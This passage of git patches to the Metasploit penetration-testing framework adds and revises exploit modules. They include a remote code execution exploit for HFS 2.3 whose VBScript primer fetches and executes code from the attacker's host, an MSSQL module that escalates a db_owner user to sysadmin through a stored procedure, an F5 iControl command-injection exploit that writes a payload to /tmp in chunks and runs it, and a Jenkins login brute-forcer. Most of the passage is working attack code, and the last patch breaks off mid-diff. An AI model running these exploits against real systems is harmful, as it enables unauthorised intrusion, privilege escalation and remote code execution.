Msf::Exploit::Remote def primer file_name = rand_text_alpha(rand(10)+5) - file_ext = '.vbs' + file_ext = '.vbs' file_fullname = file_name + file_ext vbs_code = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0aOn Error Resume Next\x0d\x0ax.Open \x22GET\x22,\x22http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\x22,False\x0d\x0aIf Err.Number <> 0 Then\x0d\x0awsh.exit\x0d\x0aEnd If\x0d\x0ax.Send\x0d\x0aExecute x.responseText" From 783b03efb62198a7882a2bad92e2878c92ec661a Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Mon, 15 Sep 2014 17:21:05 +0800 Subject: [PATCH 024/107] change line 84 as mubix advice, update disclosure date according to bugtraq security list. --- modules/exploits/windows/http/http_file_server_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index bd893034dc..874a33a816 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Automatic', {} ], ], 'Privileged' => false, - 'DisclosureDate' => "Sep 14 2014", + 'DisclosureDate' => "Sep 11 2014", 'DefaultTarget' => 0)) register_options( @@ -81,7 +81,8 @@ class Metasploit3 < Msf::Exploit::Remote payloads = [ "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", - "exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" + #"exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" + "exec|wscript.exe #{datastore['SAVE_PATH']}#{file_fullname}" ] print_status("Sending a malicious request to #{target_uri.path}") From 978803e9d80915fcf9b94ae9cab3982fc38acbd3 Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Tue, 16 Sep 2014 21:49:02 +0800 Subject: [PATCH 025/107] add proper regex --- modules/exploits/windows/http/http_file_server_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 874a33a816..5681858572 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/' }) - if res.headers['Server'] =~ /HFS 2.3/ + if res.headers['Server'] =~ /HFS 2\.3/ # added proper regex return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote payloads = [ "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", #"exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" - "exec|wscript.exe #{datastore['SAVE_PATH']}#{file_fullname}" + "exec|wscript.exe #{datastore['SAVE_PATH']}#{file_fullname}" # using wscript instead of cmd.exe, thanks mubix ] print_status("Sending a malicious request to #{target_uri.path}") From 677d035ce8c248506c76815fb4135c76a7a2d27d Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Fri, 19 Sep 2014 11:30:51 +0800 Subject: [PATCH 026/107] added proper regex for check function add comment for changed code --- .../windows/http/http_file_server_exec.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 5681858572..f123d51d08 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -57,7 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => '/' }) - if res.headers['Server'] =~ /HFS 2\.3/ # added proper regex + if res.headers['Server'] =~ /HFS 2\.3/ + # added proper regex as pointed by wchen return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -69,7 +70,9 @@ class Metasploit3 < Msf::Exploit::Remote exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) - remove_resource(get_resource) # remove resource after serving 1st reequest. + # remove resource after serving 1st request as 'exec' execute 4x + # during exploitation + remove_resource(get_resource) end def primer @@ -77,12 +80,14 @@ class Metasploit3 < Msf::Exploit::Remote file_ext = '.vbs' file_fullname = file_name + file_ext - vbs_code = "Set x=CreateObject(\x22Microsoft.XMLHTTP\x22)\x0d\x0aOn Error Resume Next\x0d\x0ax.Open \x22GET\x22,\x22http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\x22,False\x0d\x0aIf Err.Number <> 0 Then\x0d\x0awsh.exit\x0d\x0aEnd If\x0d\x0ax.Send\x0d\x0aExecute x.responseText" + vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0aOn Error Resume Next\x0d\x0ax.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0aIf Err.Number <> 0 Then\x0d\x0awsh.exit\x0d\x0aEnd If\x0d\x0ax.Send\x0d\x0aExecute x.responseText" payloads = [ "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", - #"exec|cmd /q /c start #{datastore['SAVE_PATH']}#{file_name}" - "exec|wscript.exe #{datastore['SAVE_PATH']}#{file_fullname}" # using wscript instead of cmd.exe, thanks mubix + "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_fullname}", + # using wscript.exe instead of cmd.exe, thank mubix + "delete|#{datastore['SAVE_PATH']}#{file_fullname}" + # delete vbs file after execution ] print_status("Sending a malicious request to #{target_uri.path}") From 19ed594e9839b4fa9a150d9ef9a9373cea45c44a Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Sat, 20 Sep 2014 10:52:21 +0800 Subject: [PATCH 027/107] using FileDropper method for cleanup --- modules/exploits/windows/http/http_file_server_exec.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index f123d51d08..5e4a2f71a8 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -86,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote "save|#{datastore['SAVE_PATH']}#{file_fullname}|#{vbs_code}", "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_fullname}", # using wscript.exe instead of cmd.exe, thank mubix - "delete|#{datastore['SAVE_PATH']}#{file_fullname}" + #"delete|#{datastore['SAVE_PATH']}#{file_fullname}" # delete vbs file after execution ] @@ -97,6 +98,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => "/?search=%00{.#{URI::encode(payload)}.}" }) } + register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_fullname}") + # use FileDropper method for cleanup end def exploit From dd71c666dc43c9d0d01fd45e2609a89e3fe16524 Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Sat, 20 Sep 2014 15:31:28 +0800 Subject: [PATCH 028/107] added osvdb reference and software download url, use FileDropper method for cleanup --- modules/exploits/windows/http/http_file_server_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 5e4a2f71a8..277de707c2 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -9,8 +9,8 @@ class Metasploit3 < Msf::Exploit::Remote Reank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) @@ -30,8 +30,10 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], + ['URL', 'http://www.rejetto.com/hfs/download'], ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], ['CVE', '2014-6287'], + ['OSVDB', '111386'], ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, # Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600] From a2a2ca550e3f22f42bb52569b5cd1cc87dcf5f9e Mon Sep 17 00:00:00 2001 From: mfadzilr Date: Sat, 20 Sep 2014 20:06:30 +0800 Subject: [PATCH 029/107] add test result on different windows version --- modules/exploits/windows/http/http_file_server_exec.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 277de707c2..ffef4a75bb 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -36,7 +36,10 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '111386'], ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, - # Tested HFS 2.3b on Microsoft Windows XP [Version 5.1.2600] + # Tested HFS 2.3b : + # - Windows XP (Build 2600, Service Pack 3). + # - Windows 7 (Build 7601, Service Pack 1). + # - Windows 8 (Build 9200). 'Platform' => 'win', 'Targets' => [ @@ -73,9 +76,9 @@ class Metasploit3 < Msf::Exploit::Remote exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'}) + remove_resource(get_resource) # remove resource after serving 1st request as 'exec' execute 4x # during exploitation - remove_resource(get_resource) end def primer From ebf4e5452eea2e5cbd849fe959bd53fc99d522b4 Mon Sep 17 00:00:00 2001 From: nullbind Date: Fri, 26 Sep 2014 10:29:35 -0500 Subject: [PATCH 030/107] Added mssql_escalate_dbowner module --- .../admin/mssql/mssql_escalate_dbowner.rb | 243 ++++++++++++++++++ 1 file changed, 243 insertions(+) create mode 100644 modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb new file mode 100644 index 0000000000..c6e6c78ba7 --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -0,0 +1,243 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server - Escalate Db_Owner', + 'Description' => %q{ + This module can be used to escalate privileges to sysadmin if the user has + the db_owner role in a "trustworthy" database owned by a sysadmin user. Once + the user has the sysadmin role the msssql_payload module can be used to obtain + a shell on the system. + }, + 'Author' => [ 'nullbind '], + 'License' => MSF_LICENSE, + 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']] + )) + end + + def run_host(ip) + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...") + if mssql_login_datastore == false + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + else + print_good('Connected.') + end + + # Query for sysadmin status + print_status("Checking if #{datastore['username']} has the sysadmin role...") + begin + mystatus = check_sysadmin + rescue + print_error('Sorry, the database connection failed.') + end + + # Check if user has sysadmin role + if mystatus == 1 + print_good("#{datastore['username']} has the sysadmin role, no escalation required.") + else + + # Check for trusted databases owned by sysadmins + print_status("You're NOT a sysadmin, let's try to change that.") + print_status("Checking for trusted databases owned by sysadmins...") + trustdb_list = check_trustdbs + if trustdb_list == 0 + print_error('No databases owned by sysadmin were found flagged as trustworthy.') + else + + # Display list of accessible databases to user + trustdb_list.each { |trustdb| + print_status(" - #{trustdb[0]}") + } + + # Check if the user has the db_owner role in any of the databases + print_status('Checking if the user has the db_owner role in any of them...') + dbowner_status = check_db_owner(trustdb_list) + if dbowner_status == 0 + print_error("Fail buckets, the user doesn't have db_owner role anywhere.") + else + + # Attempt to escalate to sysadmin + print_status("Attempting to escalate in #{dbowner_status}!") + escalate_status = escalate_privs(dbowner_status) + if escalate_status == 1 + + # Check if escalation was successful + mystatus = check_sysadmin + if mystatus == 1 + print_good("Congrats, #{datastore['username']} is now a sysadmin!.") + else + print_error("Fail buckets, something went wrong.") + end + else + print_error("Fail buckets, something went wrong.") + end + end + end + end + end + + # ---------------------------------------------- + # Method to check if user is already sysadmin + # ---------------------------------------------- + def check_sysadmin + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + + # Run query + result = mssql_query(sql, false) if mssql_login_datastore + disconnect + + # Parse query results + parse_results = result[:rows] + mystatus = parse_results[0][0] + + # Return status + return mystatus + end + + # ---------------------------------------------- + # Method to get trusted databases owned by sysadmins + # ---------------------------------------------- + def check_trustdbs + # Setup query + sql = "SELECT d.name AS DATABASENAME + FROM sys.server_principals r + INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id + INNER JOIN sys.server_principals p ON + p.principal_id = m.member_principal_id + inner join sys.databases d on suser_sname(d.owner_sid) = p.name + WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" + + begin + # Run query + result = mssql_query(sql, false) if mssql_login_datastore + disconnect + + # Parse query results + parse_results = result[:rows] + trustedb_count = parse_results.count + print_good("#{trustedb_count} affected database(s) were found:") + + # Return on success + return parse_results + rescue + # Return on fail + return 0 + end + end + + # ---------------------------------------------- + # Method to check if user has the db_owner role + # ---------------------------------------------- + def check_db_owner(trustdb_list) + # Check if the user has the db_owner role is any databases + trustdb_list.each { |db| + begin + # Setup query + sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user + from [#{db[0]}].sys.database_role_members drm + join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id) + join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) + where rp.name = 'db_owner' and mp.name = SYSTEM_USER" + + # Run query + result = mssql_query(sql, false) if mssql_login_datastore + disconnect + + # Parse query results + parse_results = result[:rows] + if parse_results.any? + print_good("- db_owner on #{db[0]} found!") + return db[0] + end + rescue + print_error("- No db_owner on #{db[0]}") + end + } + end + + # ---------------------------------------------- + # Method to escalate privileges + # ---------------------------------------------- + def escalate_privs(dbowner_db) + # Create the evil stored procedure WITH EXECUTE AS OWNER + begin + # Setup query + evilsql_create = "use #{dbowner_db}; + DECLARE @myevil as varchar(max) + set @myevil = ' + CREATE PROCEDURE sp_elevate_me + WITH EXECUTE AS OWNER + as + begin + EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin'' + end'; + exec(@myevil); + select 1;" + + # Run query + mssql_query(evilsql_create, false) if mssql_login_datastore + disconnect + rescue + + # Return error + error = 'Failed to create stored procedure.' + return error + end + + # Run the evil stored procedure + begin + + # Setup query + evilsql_run = "use #{dbowner_db}; + DECLARE @myevil2 as varchar(max) + set @myevil2 = 'EXEC sp_elevate_me' + exec(@myevil2);" + + # Run query + mssql_query(evilsql_run, false) if mssql_login_datastore + disconnect + rescue + + # Return error + error = 'Failed to run stored procedure.' + return error + end + + # Remove evil procedure + begin + + # Setup query + evilsql_remove = "use #{dbowner_db}; + DECLARE @myevil3 as varchar(max) + set @myevil3 = 'DROP PROCEDURE sp_elevate_me' + exec(@myevil3);" + + # Run query + mssql_query(evilsql_remove, false) if mssql_login_datastore + disconnect + + # Return value + return 1 + rescue + + # Return error + error = 'Failed to run stored procedure.' + return error + end + end +end From 161a145ec2616b12cc274793a5229f805e8035c2 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Sat, 27 Sep 2014 10:40:13 -0500 Subject: [PATCH 031/107] Create f5_icontrol_exec.rb --- .../exploits/linux/http/f5_icontrol_exec.rb | 149 ++++++++++++++++++ 1 file changed, 149 insertions(+) create mode 100644 modules/exploits/linux/http/f5_icontrol_exec.rb diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb new file mode 100644 index 0000000000..224547b094 --- /dev/null +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking # Configuration is overwritten and service reloaded + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "F5 iControl Remote Root Command Execution", + 'Description' => %q{ + This module exploits an authenticated remote command execution + vulnerability in the F5 BIGIP iControl API. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' # Discovery, Metasploit module + ], + 'References' => + [ + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['F5 iControl', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + ], self.class) + end + + def check + basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD']) + + get_hostname = %Q{ + + + + + + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => 'Basic ' + basic_auth + }, + 'data' => get_hostname + }) + + res.body =~ /y:string">(.*)<\/return/ + hostname = $1 + send_cmd("whoami") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => 'Basic ' + basic_auth + }, + 'data' => get_hostname + }) + + res.body =~ /y:string">(.*)<\/return/ + new_hostname = $1 + + if new_hostname == "root.a.b" + pay = %Q{ + + + + #{hostname} + + + + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => 'Basic ' + basic_auth + }, + 'data' => pay + }) + + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def send_cmd(cmd) + basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD']) + + pay = %Q{ + + + + `#{cmd}`.a.b + + + + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => 'Basic ' + basic_auth + }, + 'data' => pay + }) + end + + def exploit + filename = Rex::Text.rand_text_alpha_lower(5) + + print_status('Sending payload in chunks, might take a small bit...') + i = 0 + while i < payload.encoded.length + cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}" + send_cmd(cmd) + i = i + 5 + end + + print_status('Triggering payload...') + + send_cmd("sh /tmp/#{filename}") + end +end From 1e2d860ae12697c099f4bca11b7c1406ded31fee Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 30 Sep 2014 12:19:27 -0500 Subject: [PATCH 032/107] Fix #3914 - Inconsistent unicode names --- lib/msf/core/exploit/http/server.rb | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 3ce4904f88..7ff68253de 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -676,6 +676,16 @@ module Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer + UTF_NONE = 'none' + UTF_7 = 'utf-7' + UTF_7_ALL = 'utf-7-all' + UTF_8 = 'utf-8' + UTF_16_LE = 'utf-16le' + UTF_16_BE = 'utf-16be' + UTF_16_BE_MARKER = 'utf-16be-marker' + UTF_32_LE = 'utf-32le' + UTF_32_BE = 'utf-32be' + protected def initialize(info = {}) @@ -687,7 +697,7 @@ protected # most browsers. as such, they are not added by default. The # mixin supports encoding using them, however they are not # listed in the Option. - OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]), + OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML) @@ -881,19 +891,19 @@ protected } end - if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode']) + if [UTF_16_LE,UTF_16_BE,UTF_32_LE,UTF_32_BE,UTF_7,UTF_8].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else # special cases case datastore['HTML::unicode'] - when 'utf-16be-marker' + when UTF_16_BE_MARKER headers['Content-Type'] = 'text/html' - body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be') - when 'utf-7-all' - headers['Content-Type'] = 'text/html; charset=utf-7' - body = Rex::Text.to_unicode(body, 'utf-7', 'all') - when 'none' + body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE) + when UTF_7_ALL + headers['Content-Type'] = "text/html; charset=#{UTF_7}" + body = Rex::Text.to_unicode(body, UTF_7, 'all') + when UTF_NONE # do nothing else raise RuntimeError, 'Invalid unicode. how did you get here?' From aad9589c45b7ec7c8a0b3aaed8d7f8b4e6fa2a5e Mon Sep 17 00:00:00 2001 From: agix Date: Tue, 30 Sep 2014 22:08:34 +0200 Subject: [PATCH 033/107] Msfpayload doesn't work if ENCODER option is set --- msfpayload | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfpayload b/msfpayload index 3797ec384c..e75c17dea4 100755 --- a/msfpayload +++ b/msfpayload @@ -82,7 +82,7 @@ end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], + :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_ENCODER, Msf::MODULE_NOP ], 'DisableDatabase' => true ) From 2c9446e6a8d5c748162b32cf9024c2772b80507f Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 2 Oct 2014 17:56:24 -0500 Subject: [PATCH 034/107] Update f5_icontrol_exec.rb --- .../exploits/linux/http/f5_icontrol_exec.rb | 40 ++++++++----------- 1 file changed, 17 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb index 224547b094..5a37764c38 100644 --- a/modules/exploits/linux/http/f5_icontrol_exec.rb +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -6,17 +6,17 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking # Configuration is overwritten and service reloaded + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "F5 iControl Remote Root Command Execution", 'Description' => %q{ This module exploits an authenticated remote command execution - vulnerability in the F5 BIGIP iControl API. + vulnerability in the F5 BIGIP iControl API (and likely other + F5 devices). }, 'License' => MSF_LICENSE, 'Author' => @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2014-2928'], + ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, @@ -47,8 +49,6 @@ class Metasploit3 < Msf::Exploit::Remote end def check - basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD']) - get_hostname = %Q{ @@ -60,10 +60,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', - 'headers' => { - 'Authorization' => 'Basic ' + basic_auth - }, - 'data' => get_hostname + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }) res.body =~ /y:string">(.*)<\/return/ @@ -73,10 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', - 'headers' => { - 'Authorization' => 'Basic ' + basic_auth - }, - 'data' => get_hostname + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }) res.body =~ /y:string">(.*)<\/return/ @@ -96,10 +94,9 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', - 'headers' => { - 'Authorization' => 'Basic ' + basic_auth - }, - 'data' => pay + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }) return Exploit::CheckCode::Vulnerable @@ -109,8 +106,6 @@ class Metasploit3 < Msf::Exploit::Remote end def send_cmd(cmd) - basic_auth = Rex::Text.encode_base64(datastore['USERNAME']+':'+datastore['PASSWORD']) - pay = %Q{ @@ -124,10 +119,9 @@ class Metasploit3 < Msf::Exploit::Remote send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), 'method' => 'POST', - 'headers' => { - 'Authorization' => 'Basic ' + basic_auth - }, - 'data' => pay + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }) end From c0a3691817309a3a8b42b406a24d759dc6ddd76c Mon Sep 17 00:00:00 2001 From: nstarke Date: Sun, 5 Oct 2014 22:08:34 -0500 Subject: [PATCH 035/107] Adding Jenkins-CI Login Scanner Per Github issue #3871 (RM8774), I have added a login scanner module for Jenkins-CI installations. --- .../auxiliary/scanner/http/jenkins_login.rb | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 modules/auxiliary/scanner/http/jenkins_login.rb diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb new file mode 100644 index 0000000000..c07b10feef --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'pry' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Jenkins-CI Login Utility', + 'Description' => 'This module simply attempts to login to a Jenkins-CI instance using a specific user/pass.', + 'Author' => [ 'NS', 'Nicholas Starke ', 'nstarke' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(8080), + OptAddress.new('RHOST', [ true, "The target address", true]) + ], self.class) + + register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) + deregister_options('RHOSTS') + end + + def run + each_user_pass do |user, pass| + next if (user.blank? or pass.blank?) + vprint_status("Trying #{user} : #{pass}") + if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) + protocol = 'https://' + else + protocol = 'http://' + do_login(user, pass) + end + end + end + + def do_login(user, pass) + begin + post_data = { + 'j_username' => user, + 'j_password' => pass + } + res = send_request_cgi({ + 'uri' => '/j_acegi_security_check', + 'method' => 'POST', + 'vars_post' => post_data + }) + rescue ::Rex::ConnectionError => e + vprint_error("#{rhost}:#{rport}#{url} - #{e}") + return + end + if not res + vprint_error("#{rhost}:#{rport}#{url} - #{e}") + return + end + if !res.headers['location'].include? 'loginError' + print_good("SUCCESSFUL LOGIN. '#{user} : #{pass}'") + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'jenkins', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + report_auth_info(report_hash) + return :next_user + end + end +end From 69400cf280cf2857ed0018641b50e30dfdfcaed2 Mon Sep 17 00:00:00 2001 From: nstarke Date: Sun, 5 Oct 2014 23:17:28 -0500 Subject: [PATCH 036/107] Fixing Author Declaration I had accidentally listed myself three times as the author. Fixing that issue so that I am only declaring myself once. --- modules/auxiliary/scanner/http/jenkins_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index c07b10feef..c32c43addd 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ 